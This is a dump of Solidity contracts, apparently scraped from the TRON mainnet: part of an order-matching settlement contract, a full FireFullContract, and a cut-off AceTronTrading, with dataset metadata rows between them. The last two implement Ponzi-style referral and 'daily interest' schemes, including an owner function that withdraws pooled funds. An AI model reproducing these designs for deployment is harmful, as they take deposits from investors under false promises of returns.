if (block.timestamp < o.expiry) {
filledAmounts[o.orderHash] = o.amount;
LogOrderCancel(msg.sender, o.matchId, o.orderHash);
}
}
function trade(uint amount, uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
if (!validateOrderParams(o)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_MALFORMED));
return;
}
if (!validateOrderSig(o, r, s, v)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_BAD_SIG));
return;
}
Trade memory t = tradeCore(amount, o);
if (t.status != Status.OK) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(t.status));
return;
}
// Modify storage to reflect trade:
var m = matches[o.matchId];
if (m.firstTradeTimestamp == 0) {
assert(block.timestamp > 0);
m.firstTradeTimestamp = uint64(block.timestamp);
}
m.positions[t.longAddr] = t.newLongPosition;
m.positions[t.shortAddr] = t.newShortPosition;
adjustBalance(t.longAddr, t.longBalanceDelta);
adjustBalance(t.shortAddr, t.shortBalanceDelta);
filledAmounts[o.orderHash] += (o.direction == 0 ? t.shortAmount : t.longAmount);
LogTrade(msg.sender, o.addr, o.matchId, o.orderHash, o.direction, o.price, t.longAmount, t.newLongPosition, t.shortAmount, t.newShortPosition);
}
function claim(uint matchId, uint8 finalPrice, bytes32 r, bytes32 s, uint8 v) external {
var m = matches[matchId];
if (m.finalized) {
require(m.finalPrice == finalPrice);
} else {
uint messageHash = uint(keccak256(this, matchId, finalPrice));
address signer = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", messageHash), v, r, s);
require(admins[signer]);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
int delta = 0;
int senderPosition = m.positions[msg.sender];
if (senderPosition > 0) {
delta = priceDivide(senderPosition, finalPrice);
} else if (senderPosition < 0) {
delta = priceDivide(-senderPosition, 100 - finalPrice);
} else {
return;
}
assert(delta >= 0);
m.positions[msg.sender] = 0;
adjustBalance(msg.sender, delta);
LogClaim(msg.sender, matchId, uint(delta));
}
function recoverFunds(uint matchId) external {
var m = matches[matchId];
if (m.finalized || m.firstTradeTimestamp == 0) {
return;
}
uint recoveryTimestamp = uint(m.firstTradeTimestamp) + ((matchId & 0xFF) * 7 * 86400);
if (uint(block.timestamp) > recoveryTimestamp) {
uint8 finalPrice = uint8((matchId & 0xFF00) >> 8);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
}
// Private utilities
function adjustBalance(address addr, int delta) private {
uint origAmount = balances[addr];
uint newAmount = delta >= 0 ? safeAdd(origAmount, uint(delta)) : safeSub(origAmount, uint(-delta));
balances[addr] = newAmount;
LogBalanceChange(addr, origAmount, newAmount);
}
function priceDivide(int amount, uint8 price) private pure returns(int) {
assert(amount >= 0);
return int(safeMul(uint(amount), price) / 100);
}
function computeEffectiveBalance(uint balance, int position, uint8 price, bool isLong) private pure returns(uint) {
uint effectiveBalance = balance;
if (isLong) {
if (position < 0) effectiveBalance += uint(priceDivide(-position, price));
} else {
if (position > 0) effectiveBalance += uint(priceDivide(position, 100 - price));
}
return effectiveBalance;
}
function computePriceWeightedAmounts(uint longAmount, uint shortAmount, uint price) private pure returns(uint, uint) {
uint totalLongAmount;
uint totalShortAmount;
totalLongAmount = longAmount + (safeMul(longAmount, 100 - price) / price);
totalShortAmount = shortAmount + (safeMul(shortAmount, price) / (100 - price));
if (totalLongAmount > totalShortAmount) {
return (totalShortAmount - shortAmount, shortAmount);
} else {
return (longAmount, totalLongAmount - longAmount);
}
}
function computeExposureDelta(int longBalanceDelta, int shortBalanceDelta, int oldLongPosition, int newLongPosition, int oldShortPosition, int newShortPosition) private pure returns(int) {
int positionDelta = 0;
if (newLongPosition > 0) positionDelta += newLongPosition - max256(0, oldLongPosition);
if (oldShortPosition > 0) positionDelta -= oldShortPosition - max256(0, newShortPosition);
return positionDelta + longBalanceDelta + shortBalanceDelta;
}
function tradeCore(uint amount, Order memory o) private constant returns(Trade t) {
var m = matches[o.matchId];
if (block.timestamp >= o.expiry) {
t.status = Status.ORDER_EXPIRED;
return;
}
if (m.finalized) {
t.status = Status.MATCH_FINALIZED;
return;
}
if (msg.sender == o.addr) {
t.status = Status.SELF_TRADE;
return;
}
if (amount > MAX_SANE_AMOUNT) {
t.status = Status.AMOUNT_MALFORMED;
return;
}
t.status = Status.OK;
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
// maker short, taker long
t.longAddr = msg.sender;
longAmount = amount;
t.shortAddr = o.addr;
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
} else {
// maker long, taker short
t.longAddr = o.addr;
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
t.shortAddr = msg.sender;
shortAmount = amount;
}
int oldLongPosition = m.positions[t.longAddr];
int oldShortPosition = m.positions[t.shortAddr];
longAmount = minu256(longAmount, computeEffectiveBalance(balances[t.longAddr], oldLongPosition, o.price, true));
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[t.shortAddr], oldShortPosition, o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
if (longAmount == 0 || shortAmount == 0) {
t.status = Status.ZERO_VALUE_TRADE;
return;
}
int newLongPosition = oldLongPosition + (int(longAmount) + int(shortAmount));
int newShortPosition = oldShortPosition - (int(longAmount) + int(shortAmount));
t.longBalanceDelta = 0;
t.shortBalanceDelta = 0;
if (oldLongPosition < 0) t.longBalanceDelta += priceDivide(-oldLongPosition + min256(0, newLongPosition), 100 - o.price);
if (newLongPosition > 0) t.longBalanceDelta -= priceDivide(newLongPosition - max256(0, oldLongPosition), o.price);
if (oldShortPosition > 0) t.shortBalanceDelta += priceDivide(oldShortPosition - max256(0, newShortPosition), o.price);
if (newShortPosition < 0) t.shortBalanceDelta -= priceDivide(-newShortPosition + min256(0, oldShortPosition), 100 - o.price);
int exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
if (exposureDelta != 0) {
if (exposureDelta == 1) {
newLongPosition--;
newShortPosition++;
} else if (exposureDelta == -1) {
t.longBalanceDelta++; // one left-over wei: arbitrarily give it to long
} else {
assert(false);
}
exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
assert(exposureDelta == 0);
}
t.newLongPosition = newLongPosition;
t.newShortPosition = newShortPosition;
t.shortAmount = shortAmount;
t.longAmount = longAmount;
}
// External views
function getOwner() external view returns(address) {
return owner;
}
function isAdmin(address addr) external view returns(bool) {
return admins[addr];
}
function getBalance(address addr) external view returns(uint) {
return balances[addr];
}
function getMatchInfo(uint matchId) external view returns(uint64, bool, uint8) {
var m = matches[matchId];
return (m.firstTradeTimestamp, m.finalized, m.finalPrice);
}
function getPosition(uint matchId, address addr) external view returns(int) {
return matches[matchId].positions[addr];
}
function getFilledAmount(uint orderHash) external view returns(uint) {
return filledAmounts[orderHash];
}
function checkMatchBatch(address myAddr, uint[16] matchIds) external view returns(int[16] myPosition, bool[16] finalized, uint8[16] finalPrice) {
for (uint i = 0; i < 16; i++) {
if (matchIds[i] == 0) break;
var m = matches[matchIds[i]];
myPosition[i] = m.positions[myAddr];
finalized[i] = m.finalized;
finalPrice[i] = m.finalPrice;
}
}
function checkOrderBatch(uint[48] input) external view returns(uint16[16] status, uint[16] amount) {
for (uint i = 0; i < 16; i++) {
uint[3] memory rawOrder;
rawOrder[0] = input[(i*3)];
rawOrder[1] = input[(i*3) + 1];
rawOrder[2] = input[(i*3) + 2];
if (rawOrder[0] == 0) break;
Order memory o = parseOrder(rawOrder);
if (!validateOrderParams(o)) {
status[i] = uint16(Status.ORDER_MALFORMED);
amount[i] = 0;
continue;
}
// Not validating order signatures or timestamps: should be done by clients
var m = matches[o.matchId];
if (m.finalized) {
status[i] = uint16(Status.MATCH_FINALIZED);
amount[i] = 0;
continue;
}
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
longAmount = safeMul(shortAmount, 100);
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = shortAmount;
} else {
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
shortAmount = safeMul(longAmount, 100);
longAmount = minu256(longAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, true));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = longAmount;
}
}
}
// Math utilities
function safeMul(uint a, uint b) private pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) private pure returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) private pure returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function minu256(uint a, uint b) private pure returns(uint) {
return a < b ? a : b;
}
function max256(int a, int b) private pure returns(int) {
return a >= b ? a : b;
}
function min256(int a, int b) private pure returns(int) {
return a < b ? a : b;
}
}
| 147,286 | 12,266 |
d72cd56e4043741cbed3fe731b152745ad56c467c850c35b1669fd6a0216da5d
| 22,988 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEiVb2WqKeN3A5omZU4Mvm8x9YD819g6y5_FireFullContract.sol
| 5,687 | 21,869 |
//SourceUnit: FireFullContract.sol
pragma solidity ^0.5.3;
contract Ownable {
mapping(address => bool) public owners;
address public creater;
constructor() public {
owners[msg.sender] = true;
creater = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true,'Permission denied');
_;
}
modifier onlyCreater() {
require(creater == msg.sender,'Permission denied');
_;
}
function addOwnership(address _newOwner) public onlyOwner {
owners[_newOwner] = true;
}
function delOwnership(address _newOwner) public onlyOwner {
owners[_newOwner] = false;
}
}
library SafeMath {
function mul(uint _a, uint _b) internal pure returns (uint c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b,'mul error');
return c;
}
function div(uint _a, uint _b) internal pure returns (uint) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint _a, uint _b) internal pure returns (uint) {
require(_b <= _a,'sub error');
return _a - _b;
}
function add(uint _a, uint _b) internal pure returns (uint c) {
c = _a + _b;
require(c >= _a,'add error');
return c;
}
}
interface FirePowerToken {
function saleScale() external view returns (uint);
function balanceOf(address _owner) external view returns (uint) ;
function burn(address _from, uint _value) external returns (bool);
function totalSupply() external view returns (uint);
function getSP(address _account) view external returns(bool,uint,uint);
}
contract FFGModel{
struct playerObj{
bool state;
bool joinState;
uint input;
uint output;
uint nomalMax;
uint totalProfit;
uint nomalProfit;
uint teamProfit;
uint jackpotProfit;
uint contractBalance;
address[] invit;
uint[] recommand;
uint teamJoin;
bool isSP;
}
struct jackpotObj{
uint pool;
uint water;
uint scale;
}
struct superPlayerObj{
bool isActive;
uint profit;
uint profitFlag;
uint teamPlayers;
}
}
contract FFGConfig is FFGModel{
address public firePowerContract = 0xD0F8eB83a6917092f37CfC5ae3c9eaD3624854fd;
FirePowerToken internal token = FirePowerToken(firePowerContract);
uint public periods = 1;
uint public totalJoin = 0;
uint public sedimentaryAsset = 0;
uint public playerCounter = 0;
uint public minJoinAmount = 2000 trx;
uint[] public rewardScale = new uint[](10);
uint public jackpotIndex = 1;
uint public nomalListIndex = 0;
bool public contractState = false;
address[] public nomalList = new address[](5);
address payable[] public retainAddress = new address payable[](2);
event WithdrawEvent(address indexed _player,uint _amount,uint time);
event InvitEvent(address indexed _from,address _player,uint time);
event JoinEvent(address indexed _player,uint _joinAmount,uint time);
event ProfitEvent(address indexed _player,uint _rewardAmount,uint time);
event TeamRewardEvent(address indexed _player,address _invit,uint _level, uint _rewardAmount,uint time);
event PrizeEvent(address indexed _player,uint _jackpot,uint _prize,uint _amount,uint time);
event SuperPlayerEvent(address indexed _player,uint _total,uint _amount,uint time);
event leaveContractEvent(address indexed _player,uint _output,uint time);
mapping(uint=>jackpotObj) public jackpot;
mapping(address => superPlayerObj) public superPlayerList;
mapping(address => playerObj) public players;
mapping(uint => address) public joinPlayerList;
function periodsLimit() public view returns(uint){
if(periods == 1){
return 50000 trx;
}else if(periods == 2){
return 100000 trx;
}else{
return 200000 trx;
}
}
function joinScale() public view returns(uint){
if(periods == 1){
return 26;
}else if(periods == 2){
return 30;
}else{
return 36;
}
}
modifier isHuman() {
address _addr = msg.sender;
uint _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
}
contract FireFullContract is FFGConfig,Ownable{
using SafeMath for uint;
function join() payable external{
require(contractState,'Contract Not Start');
require(msg.value <= periodsLimit(),'Period Maxmum limit exceeded');
require(msg.value >= minJoinAmount,'Period Minimum limit exceeded');
require(players[msg.sender].state,'Please bind the recommender in advance');
uint scale = joinScale();
uint profit = msg.value.mul(scale).div(10);
uint ticketScale = token.saleScale();
uint ticket = msg.value.mul(100).div(ticketScale);
uint tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance >= ticket,'ticket not enough');
contractReward(msg.value.mul(35).div(100));
joinPlayerList[playerCounter] = msg.sender;
playerCounter = playerCounter + 1;
totalJoin = totalJoin.add(msg.value);
if(nomalListIndex < 5){
nomalList[nomalListIndex] = msg.sender;
nomalListIndex++;
}
playerObj memory player = players[msg.sender];
if(player.joinState == true){
require(player.input.add(msg.value) <= periodsLimit(),'Period Maxmum limit exceeded');
player.input = player.input.add(msg.value);
//uint _scale = joinScale();
uint _scale = player.output.mul(10).div(player.input);
player.output = player.input.mul(_scale).div(10);
player.nomalMax = player.input.mul(11).div(10);
}else{
player.input = msg.value;
player.output = profit;
player.totalProfit = 0;
player.nomalProfit = 0;
player.teamProfit = 0;
player.joinState = true;
player.nomalMax = msg.value.mul(11).div(10);
players[player.invit[0]].recommand[0]+=1;
updateSPTeam(true,player.invit);
}
players[msg.sender] = player;
teamReward();
joinJackpot();
token.burn(msg.sender,ticket);
retainAddress[0].transfer(msg.value.div(100));
retainAddress[1].transfer(msg.value.div(50));
emit JoinEvent(msg.sender,msg.value,now);
}
function setFirePowerContract(address _firePowerContract) external onlyOwner returns(bool){
firePowerContract = _firePowerContract;
token = FirePowerToken(firePowerContract);
return true;
}
function setMinJoinAmount(uint _amount) external onlyOwner returns (bool){
minJoinAmount = _amount;
return true;
}
function updateSPTeam(bool addOrSub,address[] memory invit) internal{
for(uint i = 0;i < invit.length; i++){
if(invit[i] != address(0x0)){
if(players[invit[i]].isSP){
if(addOrSub){
superPlayerList[invit[i]].teamPlayers = superPlayerList[invit[i]].teamPlayers + 1;
}else{
superPlayerList[invit[i]].teamPlayers = superPlayerList[invit[i]].teamPlayers - 1;
}
return;
}
}
}
}
function withdraw() external isHuman{
uint balance = players[msg.sender].contractBalance;
players[msg.sender].contractBalance = 0;
msg.sender.transfer(balance);
emit WithdrawEvent(msg.sender,balance,now);
}
function sedimentaryAssetWithdraw() external onlyOwner{
require(sedimentaryAsset >= 0,'sedimentary asset not enoug');
uint withdrawAmount = sedimentaryAsset;
sedimentaryAsset = 0;
msg.sender.transfer(withdrawAmount);
}
function contractReward(uint _amount) internal {
uint maxPlayer = nomalListIndex < 5?nomalListIndex:5;
uint reward = _amount;
if(maxPlayer == 0){
sedimentaryAsset = sedimentaryAsset.add(reward);
return;
}
reward = reward.div(maxPlayer);
address player_add;
playerObj memory player;
uint _reward;
bool haveNext = true;
uint surplus = 0;
uint player_reward = 0;
bool leave;
for(uint i = 0;i<maxPlayer;i++){
player_add = nomalList[i];
if(haveNext && player_add == address(0x0)){
findNextNomal(i);
if(nomalList[i] == address(0x0)){
haveNext = false;
surplus = surplus.add(reward);
continue;
}else{
player_add = nomalList[i];
}
}
surplus = reward.add(surplus);
do{
_reward = surplus;
player = players[player_add];
player_reward = surplus;
surplus = 0;
if(player.nomalProfit.add(player_reward) >= player.nomalMax){
player_reward = player.nomalMax - player.nomalProfit;
player.nomalProfit = player.nomalMax;
leave = true;
}else{
player.nomalProfit = player.nomalProfit.add(player_reward);
}
if(player.totalProfit.add(player_reward) >= player.output){
player_reward = player.output - player.totalProfit;
player.totalProfit = player.output;
leave = true;
leaveContract(player,player_add,true);
}else{
player.totalProfit = player.totalProfit.add(player_reward);
}
if(player_reward > 0){
player.contractBalance = player.contractBalance.add(player_reward);
players[player_add] = player;
emit ProfitEvent(player_add,player_reward,now);
}
if(leave){
if(_reward.sub(player_reward) > 0){
surplus = _reward.sub(player_reward);
}else{
break;
}
if(haveNext){
findNextNomal(i);
if(nomalList[i] == address(0x0)){
haveNext = false;
break;
}else{
player_add = nomalList[i];
}
}else{
break;
}
}else{
break;
}
}while(true);
}
if(surplus > 0){
sedimentaryAsset = sedimentaryAsset.add(surplus);
}
}
function findNextNomal(uint nomalIndex) internal{
address next;
uint index = nomalListIndex;
do{
next = joinPlayerList[index];
index++;
if(index > playerCounter){
index = nomalListIndex;
break;
}
}while(players[next].joinState == false);
nomalList[nomalIndex] = next;
nomalListIndex = index;
}
function teamReward() internal{
address[] memory myInvit = players[msg.sender].invit;
uint reward;
uint needRecommand;
uint split;
playerObj memory invitPlayer;
for(uint i = 0;i < myInvit.length;i++){
invitPlayer = players[myInvit[i]];
reward = msg.value.mul(rewardScale[i]).div(100);
if(myInvit[i] == address(0x0) || invitPlayer.joinState == false){
sedimentaryAsset = sedimentaryAsset.add(reward);
continue;
}
invitPlayer.teamJoin = invitPlayer.teamJoin.add(msg.value);
needRecommand = (i+1)/2 + (i+1)%2;
if(invitPlayer.recommand[0] >= needRecommand && invitPlayer.joinState == true){
invitPlayer.totalProfit = invitPlayer.totalProfit.add(reward);
if(invitPlayer.totalProfit > invitPlayer.output){
split = invitPlayer.totalProfit.sub(invitPlayer.output);
reward = reward.sub(split);
if(split > 0){
sedimentaryAsset = sedimentaryAsset.add(split);
}
invitPlayer.totalProfit = invitPlayer.output;
}
invitPlayer.teamProfit = invitPlayer.teamProfit.add(reward);
invitPlayer.contractBalance = invitPlayer.contractBalance.add(reward);
emit TeamRewardEvent(myInvit[i],msg.sender,i+1, reward,now);
}else{
sedimentaryAsset = sedimentaryAsset.add(reward);
}
players[myInvit[i]] = invitPlayer;
if(invitPlayer.totalProfit == invitPlayer.output){
leaveContract(invitPlayer,myInvit[i],true);
}
}
}
function leaveContract(playerObj memory player,address _player,bool find) internal{
if(player.totalProfit >= player.output && player.joinState == true){
if(find){
for(uint k = 0; k<5;k++){
if(nomalList[k] == _player){
findNextNomal(k);
}
}
}
player.joinState = false;
if(player.invit[0] != address(0x0)){
players[player.invit[0]].recommand[0] -= 1;
}
updateSPTeam(false,player.invit);
players[_player] = player;
emit leaveContractEvent(_player,player.totalProfit,now);
}
}
function joinJackpot() internal{
uint input = msg.value.mul(15).div(100);
if(jackpot[jackpotIndex].water.add(input) >= jackpot[jackpotIndex].pool){
if(jackpot[jackpotIndex].water.add(input) > jackpot[jackpotIndex].pool){
uint split = jackpot[jackpotIndex].water.add(input).sub(jackpot[jackpotIndex].pool);
jackpot[jackpotIndex].water = jackpot[jackpotIndex].pool;
drawJackpot(split);
}else{
jackpot[jackpotIndex].water = jackpot[jackpotIndex].pool;
drawJackpot(0);
}
}else{
jackpot[jackpotIndex].water = jackpot[jackpotIndex].water.add(input);
}
}
function nextJackpot() internal view returns(uint){
if(jackpotIndex < 5){
return jackpotIndex + 1;
}else{
return 1;
}
}
function drawJackpot(uint surplus) internal{
if(jackpot[jackpotIndex].water == jackpot[jackpotIndex].pool){
uint reward = jackpot[jackpotIndex].water.mul(jackpot[jackpotIndex].scale).div(100);
uint index = 1;
uint _reward = 0;
uint _prize = 0;
playerObj memory player;
for(uint i = playerCounter-1;i >= playerCounter.sub(32);i--){
if(index == 1){
_reward = reward.mul(45).div(100);
_prize = 1;
}else if(index > 1 && index <= 11){
_reward = reward.mul(20).div(1000);
_prize = 2;
}else if(index > 11 && index <= 31){
_reward = reward.mul(35).div(2000);
_prize = 3;
}else{
break;
}
player = players[joinPlayerList[i]];
player.contractBalance = player.contractBalance.add(_reward);
player.jackpotProfit = player.jackpotProfit.add(_reward);
if(player.totalProfit.add(_reward) >= player.output){
player.totalProfit = player.output;
}else{
player.totalProfit = player.totalProfit.add(_reward);
}
players[joinPlayerList[i]] = player;
leaveContract(player,joinPlayerList[i],true);
emit PrizeEvent(joinPlayerList[i],jackpot[jackpotIndex].pool,_prize,_reward,now);
index++;
}
uint split = jackpot[jackpotIndex].water.sub(reward);
jackpotIndex = nextJackpot();
if(jackpotIndex == 1){
initJackpot();
}
jackpot[jackpotIndex].water = split.add(surplus);
}
}
function superPlayerWithdraw() external isHuman{
require(players[msg.sender].isSP,"You're not a super player");
require(superPlayerList[msg.sender].teamPlayers >= 40,"Team players not enough");
uint flag = totalJoin.sub(superPlayerList[msg.sender].profitFlag);
require(flag > 0,"You don't have any new profit yet");
superPlayerList[msg.sender].profitFlag = totalJoin;
uint profit = flag.mul(5).div(10000);
superPlayerList[msg.sender].profit = superPlayerList[msg.sender].profit.add(profit);
msg.sender.transfer(profit);
emit SuperPlayerEvent(msg.sender,flag,profit,now);
}
function superPlayerProfit() external view returns(uint){
uint flag = totalJoin.sub(superPlayerList[msg.sender].profitFlag);
return flag.mul(5).div(10000);
}
function initJackpot() internal{
jackpot[1] = jackpotObj({pool:1500000 trx,water:0,scale:60});
jackpot[2] = jackpotObj({pool:3000000 trx,water:0,scale:60});
jackpot[3] = jackpotObj({pool:4500000 trx,water:0,scale:60});
jackpot[4] = jackpotObj({pool:6000000 trx,water:0,scale:60});
jackpot[5] = jackpotObj({pool:7500000 trx,water:0,scale:90});
}
function startContract() external {
require(msg.sender == firePowerContract,'startContract error');
if(!contractState){
contractState = true;
}
}
function activateSuperPlayer() external returns(bool){
require(players[msg.sender].isSP == false,'SuperPlayer Activated');
(bool state,,) = token.getSP(msg.sender);
if(state){
superPlayerList[msg.sender] = superPlayerObj({
isActive:true,
profit:0,
profitFlag:0,
teamPlayers:0
});
players[msg.sender].isSP = true;
return true;
}
return false;
}
constructor(address payable _address1,address payable _address2) public {
retainAddress[0] = _address1;
retainAddress[1] = _address2;
initJackpot();
uint[] memory t_scale = new uint[](10);
t_scale[0] = 10;
t_scale[1] = 8;
t_scale[2] = 7;
t_scale[3] = 2;
t_scale[4] = 1;
t_scale[5] = 1;
t_scale[6] = 1;
t_scale[7] = 2;
t_scale[8] = 4;
t_scale[9] = 6;
rewardScale = t_scale;
players[msg.sender] = playerObj({
state:true,
joinState:false,
input:0,
nomalMax:0,
output:0,
totalProfit:0,
nomalProfit:0,
teamProfit:0,
contractBalance:0,
invit:new address[](10),
recommand:new uint[](11),
jackpotProfit:0,
teamJoin:0,
isSP:false
});
}
function preShip(address _invit) external {
require(players[_invit].state,'recommender not exist');
require(!players[msg.sender].state,'Player already exists');
address[] memory myinvit = new address[](10);
myinvit[0] = _invit;
players[_invit].recommand[1]+=1;
for(uint i = 0;i<9;i++){
if(players[_invit].invit[i]!=address(0x0)){
myinvit[i+1] = players[_invit].invit[i];
players[players[_invit].invit[i]].recommand[i+2]+=1;
}else{
break;
}
}
players[msg.sender] = playerObj({
state:true,
joinState:false,
input:0,
nomalMax:0,
output:0,
totalProfit:0,
nomalProfit:0,
teamProfit:0,
contractBalance:0,
invit:myinvit,
recommand:new uint[](11),
jackpotProfit:0,
teamJoin:0,
isSP:false
});
emit InvitEvent(_invit,msg.sender,now);
}
function setNextPeriods() external {
require(msg.sender == firePowerContract,'No authority');
periods ++;
}
function contractInfo() external view returns(bool,uint,uint,uint,uint){
return (contractState,periodsLimit(),minJoinAmount,jackpot[jackpotIndex].pool,jackpot[jackpotIndex].water);
}
function jackpotInfo() external view returns(uint,uint,uint,uint,uint,uint,uint,uint,uint,uint){
return (jackpot[1].pool,jackpot[1].water,jackpot[2].pool,jackpot[2].water,jackpot[3].pool,jackpot[3].water,jackpot[4].pool,jackpot[4].water,jackpot[5].pool,jackpot[5].water);
}
function contractIndexInfo() external view returns(bool,uint,uint){
return (contractState,periods,totalJoin);
}
function contractPlayerInfo(address _address) view external returns(address[] memory, uint[] memory){
return (players[_address].invit,players[_address].recommand);
}
}
| 291,838 | 12,267 |
f205ba8838557434a3d1d0d62eb106fa6c762fb05961d56273a064d2d72c052b
| 24,091 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSgZW5tYiNG6EaqfdDUPKGRTnGA151Uwjj_AceTronTrading.sol
| 6,154 | 22,592 |
//SourceUnit: Ace_tronTrading.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) RefCount;
mapping(uint256 => uint256) RefInvest;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AceTronTrading is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 40; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 300;
uint256 private constant REFERENCE_RATE = 180; // Total Level per
uint256 private constant DEVELOPER_EXIT_RATE = 60; //per thousand
//uint256 private constant ADMIN_EXIT_RATE = 40;
uint256 public constant REFERENCE_LEVEL1_RATE = 80;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant REFERENCE_LEVEL4_RATE = 20;
uint256 public constant MINIMUM = 100000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 1000; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor(address payable _ref) public {
developerAccount_ = _ref;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(100,75*60*60*24,100)); //75 days and 10%
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
